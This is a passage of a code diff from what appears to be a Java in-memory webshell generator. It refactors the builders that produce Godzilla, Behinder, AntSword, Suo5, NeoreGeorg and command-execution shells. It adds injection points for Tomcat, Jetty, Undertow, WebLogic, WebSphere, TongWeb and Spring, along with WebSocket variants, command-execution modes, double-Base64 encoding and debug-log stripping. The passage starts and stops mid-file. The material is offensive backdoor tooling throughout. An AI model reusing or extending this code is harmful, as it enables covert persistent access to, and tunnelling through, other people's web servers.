-import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
+import com.reajason.javaweb.memshell.shelltool.neoreg.*;
-import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
+import com.reajason.javaweb.memshell.shelltool.suo5.*;
-import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter;
-import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener;
-import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet;
-import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
 import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
 import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
 import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
@@ -34,15 +18,12 @@ import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
 import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
 import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
 import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
-import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
 import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
 import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
-import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
 import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
 import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
 import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
 import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
-import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
 import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
 import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
 import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
@@ -120,6 +101,7 @@ public enum Server {
      */
     TongWeb6(new TongWeb6Shell()),
     TongWeb7(new TongWeb7Shell()),
+    TongWeb8(new TongWeb8Shell()),
 
     /**
      * 金蝶天燕中间件
@@ -131,6 +113,11 @@ public enum Server {
      */
     InforSuite(new InforSuiteShell()),
 
+    /**
+     * 普元中间件
+     */
+    Primeton(new GlassFishShell()),
+
     /**
      * XXL-JOB
      */
@@ -152,21 +139,23 @@ public enum Server {
                 .addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
                 .addShellClass(VALVE, GodzillaValve.class)
                 .addShellClass(JAKARTA_VALVE, GodzillaValve.class)
+                .addShellClass(WEBSOCKET, GodzillaWebSocket.class)
+                .addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
                 .addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
                 .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
                 .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
                 .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
-                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Godzilla.class)
                 .addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
                 .addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
                 .addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
                 .addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
-                .addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
+                .addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
-                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
-                .addShellClass(JETTY_AGENT_HANDLER, GodzillaHandlerAdvisor.class)
+                .addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
-                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
-                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
-                .addShellClass(WAS_AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
                 .build());
 
         addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -182,13 +171,13 @@ public enum Server {
                 .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
                 .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
                 .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
-                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Behinder.class)
-                .addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
+                .addShellClass(AGENT_FILTER_CHAIN, Behinder.class)
-                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Behinder.class)
-                .addShellClass(JETTY_AGENT_HANDLER, BehinderHandlerAdvisor.class)
+                .addShellClass(JETTY_AGENT_HANDLER, BehinderJettyHandler.class)
-                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
-                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
-                .addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
                 .build());
 
         addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -198,13 +187,13 @@ public enum Server {
                 .addShellClass(VALVE, AntSwordValve.class)
                 .addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
                 .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
-                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
-                .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
+                .addShellClass(AGENT_FILTER_CHAIN, AntSword.class)
-                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSword.class)
-                .addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
+                .addShellClass(JETTY_AGENT_HANDLER, AntSwordJettyHandler.class)
-                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
-                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
-                .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
                 .build());
 
         addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -222,24 +211,17 @@ public enum Server {
                 .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
                 .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
                 .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
-                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Command.class)
-                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
                 .addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
                 .addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
                 .addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
                 .addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
-                .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
+                .addShellClass(AGENT_FILTER_CHAIN, Command.class)
-                .addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
-                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
+                .addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
-                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
-                .addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
-                .addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
-                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
-                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
-                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
-                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
-                .addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
-                .addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
                 .build());
 
         addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -255,7 +237,14 @@ public enum Server {
                 .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
                 .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
                 .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5.class)
                 .addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
+                .addShellClass(AGENT_FILTER_CHAIN, Suo5.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5.class)
+                .addShellClass(JETTY_AGENT_HANDLER, Suo5JettyHandler.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
                 .build());
 
         addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
@@ -271,6 +260,13 @@ public enum Server {
                 .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
                 .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
                 .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
+                .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, NeoreGeorg.class)
+                .addShellClass(AGENT_FILTER_CHAIN, NeoreGeorg.class)
+                .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, NeoreGeorg.class)
+                .addShellClass(JETTY_AGENT_HANDLER, NeoreGeorgJettyHandler.class)
+                .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
+                .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
+                .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
                 .build());
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

@@ -19,27 +19,19 @@ public class ShellType {
     public static final String NETTY_HANDLER = "NettyHandler";
 
     public static final String AGENT = "Agent";
-    public static final String ASM = "ASM";
 
     public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
-    public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
     public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
-    public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
     public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
-    public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM;
     public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
-    public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
     public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
-    public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
     public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
-    public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;
 
     public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
     public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
     public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
     public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
     public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
-    public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;
 
     public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
     public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";

generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java

@@ -16,4 +16,33 @@ import lombok.experimental.SuperBuilder;
 public class CommandConfig extends ShellToolConfig {
     @Builder.Default
     private String paramName = CommonUtil.getRandomString(8);
+
+    @Builder.Default
+    private Encryptor encryptor = Encryptor.RAW;
+
+    @Builder.Default
+    private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
+
+
+    public enum ImplementationClass {
+        RuntimeExec, ForkAndExec;
+
+        public static ImplementationClass fromString(String encryptor) {
+            if (encryptor != null && encryptor.equals("ForkAndExec")) {
+                return ForkAndExec;
+            }
+            return RuntimeExec;
+        }
+    }
+
+    public enum Encryptor {
+        RAW, DOUBLE_BASE64;
+
+        public static Encryptor fromString(String encryptor) {
+            if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
+                return DOUBLE_BASE64;
+            }
+            return RAW;
+        }
+    }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/ASMShellGenerator.java

@@ -0,0 +1,18 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+
+/**
+ * @author ReaJason
+ * @since 2025/5/27
+ */
+public abstract class ASMShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
+    protected final ShellConfig shellConfig;
+    protected final T shellToolConfig;
+
+    protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
+        this.shellConfig = shellConfig;
+        this.shellToolConfig = shellToolConfig;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java

@@ -1,18 +1,8 @@
 package com.reajason.javaweb.memshell.generator;
 
-import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
-import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
-import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.AntSwordConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
-import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.dynamic.DynamicType;
-import org.apache.commons.lang3.StringUtils;
-
-import java.util.HashMap;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
@@ -20,55 +10,15 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
  * @author ReaJason
  * @since 2025/02/18
  */
-public class AntSwordGenerator {
+public class AntSwordGenerator extends ByteBuddyShellGenerator<AntSwordConfig> {
-    private final ShellConfig shellConfig;
+    public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig shellToolConfig) {
-    private final AntSwordConfig antSwordConfig;
+        super(shellConfig, shellToolConfig);
-
-    public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig antSwordConfig) {
-        this.shellConfig = shellConfig;
-        this.antSwordConfig = antSwordConfig;
     }
 
-    public DynamicType.Builder<?> getBuilder() {
+    @Override
-        if (antSwordConfig.getShellClass() == null) {
+    protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
-            throw new IllegalArgumentException("antSwordConfig.getClazz() == null");
+        return builder.field(named("pass")).value(shellToolConfig.getPass())
-        }
+                .field(named("headerName")).value(shellToolConfig.getHeaderName())
-        if (StringUtils.isBlank(antSwordConfig.getPass())) {
+                .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
-            throw new IllegalArgumentException("antSwordConfig.getPass().isBlank()");
-        }
-        DynamicType.Builder<?> builder = new ByteBuddy()
-                .redefine(antSwordConfig.getShellClass())
-                .name(antSwordConfig.getShellClassName())
-                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
-
-        if (shellConfig.isJakarta()) {
-            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
-        }
-
-        if (shellConfig.isDebugOff()) {
-            builder = LogRemoveMethodVisitor.extend(builder);
-        }
-
-        if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
-            builder = builder.visit(
-                    new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
-                        put("pass", antSwordConfig.getPass());
-                        put("headerName", antSwordConfig.getHeaderName());
-                        put("headerValue", antSwordConfig.getHeaderValue());
-                    }})
-            );
-        } else {
-            builder = builder.field(named("pass")).value(antSwordConfig.getPass())
-                    .field(named("headerName")).value(antSwordConfig.getHeaderName())
-                    .field(named("headerValue")).value(antSwordConfig.getHeaderValue());
-        }
-        return builder;
-    }
-
-    public byte[] getBytes() {
-        DynamicType.Builder<?> builder = getBuilder();
-        try (DynamicType.Unloaded<?> make = builder.make()) {
-            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
-        }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java

@@ -1,19 +1,9 @@
 package com.reajason.javaweb.memshell.generator;
 
-import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
-import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
-import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.BehinderConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.utils.DigestUtils;
-import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.dynamic.DynamicType;
-import org.apache.commons.lang3.StringUtils;
-
-import java.util.HashMap;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
 
@@ -21,57 +11,15 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
  * @author ReaJason
  * @since 2024/12/21
  */
-public class BehinderGenerator {
+public class BehinderGenerator extends ByteBuddyShellGenerator<BehinderConfig> {
-    private final ShellConfig shellConfig;
+    public BehinderGenerator(ShellConfig shellConfig, BehinderConfig shellToolConfig) {
-    private final BehinderConfig behinderConfig;
+        super(shellConfig, shellToolConfig);
-
-    public BehinderGenerator(ShellConfig shellConfig, BehinderConfig behinderConfig) {
-        this.shellConfig = shellConfig;
-        this.behinderConfig = behinderConfig;
     }
 
-    public DynamicType.Builder<?> getBuilder() {
+    public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
-        if (behinderConfig.getShellClass() == null) {
+        String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16);
-            throw new IllegalArgumentException("behinderConfig.getClazz() == null");
+        return builder.field(named("pass")).value(md5Key)
-        }
+                .field(named("headerName")).value(shellToolConfig.getHeaderName())
-        if (StringUtils.isBlank(behinderConfig.getPass())) {
+                .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
-            throw new IllegalArgumentException("behinderConfig.getPass().isBlank()");
-        }
-        String md5Key = DigestUtils.md5Hex(behinderConfig.getPass()).substring(0, 16);
-
-        DynamicType.Builder<?> builder = new ByteBuddy()
-                .redefine(behinderConfig.getShellClass())
-                .name(behinderConfig.getShellClassName())
-                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
-
-        if (shellConfig.isJakarta()) {
-            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
-        }
-
-        if (shellConfig.isDebugOff()) {
-            builder = LogRemoveMethodVisitor.extend(builder);
-        }
-
-        if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
-            builder = builder.visit(
-                    new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
-                        put("pass", md5Key);
-                        put("headerName", behinderConfig.getHeaderName());
-                        put("headerValue", behinderConfig.getHeaderValue());
-                    }})
-            );
-        } else {
-            builder = builder.field(named("pass")).value(md5Key)
-                    .field(named("headerName")).value(behinderConfig.getHeaderName())
-                    .field(named("headerValue")).value(behinderConfig.getHeaderValue());
-        }
-        return builder;
-    }
-
-    public byte[] getBytes() {
-        DynamicType.Builder<?> builder = getBuilder();
-        try (DynamicType.Unloaded<?> make = builder.make()) {
-            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
-        }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java

@@ -0,0 +1,47 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
+import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
+import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
+import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.dynamic.DynamicType;
+
+/**
+ * @author ReaJason
+ * @since 2025/5/27
+ */
+public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
+    protected final ShellConfig shellConfig;
+    protected final T shellToolConfig;
+
+    protected ByteBuddyShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
+        this.shellConfig = shellConfig;
+        this.shellToolConfig = shellToolConfig;
+    }
+
+    protected abstract DynamicType.Builder<?> build(DynamicType.Builder<?> builder);
+
+    @Override
+    public byte[] getBytes() {
+        DynamicType.Builder<?> builder = build(new ByteBuddy()
+                .redefine(shellToolConfig.getShellClass())
+                .name(shellToolConfig.getShellClassName())
+                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
+
+        if (shellConfig.isJakarta()) {
+            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
+        }
+
+        if (shellConfig.isDebugOff()) {
+            builder = LogRemoveMethodVisitor.extend(builder);
+        }
+
+        try (DynamicType.Unloaded<?> unloaded = builder.make()) {
+            return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java

@@ -1,72 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
-import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
-import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.ShellType;
-import com.reajason.javaweb.memshell.config.CommandConfig;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.dynamic.DynamicType;
-import org.apache.commons.lang3.StringUtils;
-
-import java.util.HashMap;
-
-import static net.bytebuddy.matcher.ElementMatchers.named;
-
-/**
- * @author ReaJason
- * @since 2024/11/24
- */
-public class CommandGenerator {
-    private final ShellConfig shellConfig;
-    private final CommandConfig commandConfig;
-
-    public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
-        this.shellConfig = shellConfig;
-        this.commandConfig = commandConfig;
-    }
-
-    public DynamicType.Builder<?> getBuilder() {
-        if (commandConfig.getShellClass() == null) {
-            throw new IllegalArgumentException("commandConfig.getClazz() == null");
-        }
-
-        DynamicType.Builder<?> builder = new ByteBuddy()
-                .redefine(commandConfig.getShellClass())
-                .name(commandConfig.getShellClassName())
-                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
-
-        if (shellConfig.isJakarta()) {
-            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
-        }
-
-        if (shellConfig.isDebugOff()) {
-            builder = LogRemoveMethodVisitor.extend(builder);
-        }
-
-        String shellType = shellConfig.getShellType();
-        if (!ShellType.WEBSOCKET.equals(shellType)) {
-            if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
-                builder = builder.visit(
-                        new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
-                            put("paramName", commandConfig.getParamName());
-                        }})
-                );
-            } else {
-                builder = builder.field(named("paramName")).value(commandConfig.getParamName());
-            }
-        }
-
-        return builder;
-    }
-
-    public byte[] getBytes() {
-        DynamicType.Builder<?> builder = getBuilder();
-        try (DynamicType.Unloaded<?> make = builder.make()) {
-            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
-        }
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java

@@ -12,25 +12,21 @@ import java.util.Base64;
  * @author ReaJason
  * @since 2025/3/18
  */
-public class CustomShellGenerator {
+public class CustomShellGenerator extends ASMShellGenerator<CustomConfig> {
-
-    private final ShellConfig shellConfig;
-    private final CustomConfig customConfig;
 
     public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
-        this.shellConfig = shellConfig;
+        super(shellConfig, customConfig);
-        this.customConfig = customConfig;
     }
 
+    @Override
     public byte[] getBytes() {
-        String shellClassBase64 = customConfig.getShellClassBase64();
+        String shellClassBase64 = shellToolConfig.getShellClassBase64();
 
         if (StringUtils.isBlank(shellClassBase64)) {
             throw new IllegalArgumentException("Custom shell class is empty");
         }
-
+        byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
-        byte[] bytes = ClassRenameUtils.renameClass(Base64.getDecoder().decode(shellClassBase64), customConfig.getShellClassName());
+        byte[] bytes = ClassRenameUtils.renameClass(classBytes, shellToolConfig.getShellClassName());
-
         return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java

@@ -1,19 +1,10 @@
 package com.reajason.javaweb.memshell.generator;
 
 import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
-import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
-import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.ShellType;
